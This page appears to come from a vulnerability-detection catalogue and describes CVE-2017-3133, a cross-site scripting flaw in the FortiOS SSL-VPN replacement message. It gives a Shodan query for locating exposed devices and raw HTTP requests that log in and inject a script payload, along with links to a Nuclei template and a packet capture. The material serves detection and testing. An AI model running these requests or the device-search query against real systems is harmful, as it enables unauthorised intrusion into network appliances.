🔙 목록으로 돌아가기

CVE-2017-3133: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

TitleFortinet FortiOS < 5.6.0 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation could lead to execution of malicious javascript.
RemediationApply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.0869
CVE IDCVE-2017-3133
CWE IDCWE-79
Shodan Queryhttp.html:"/remote/login" "xxxxxxxx"http.favicon.hash:945408572cpe:"cpe:2.3:o:fortinet:fortios"
Tags cve cve2017 fortinet fortios xss authenticated vuln

🔍 Vulnerability Description

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN.

🌐 HTTP Request

POST /logincheck HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 39
Content-Type: text/plain;charset=UTF-8
Accept-Encoding: gzip

ajax=1&username=0MOq9z&secretkey=spEl4s
POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 109
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
X-CSRFTOKEN: Sn6lC5
Accept-Encoding: gzip

csrfmiddlewaretoken=Sn6lC5&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%0A
GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRFTOKEN: Sn6lC5
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-3133.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-3133.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A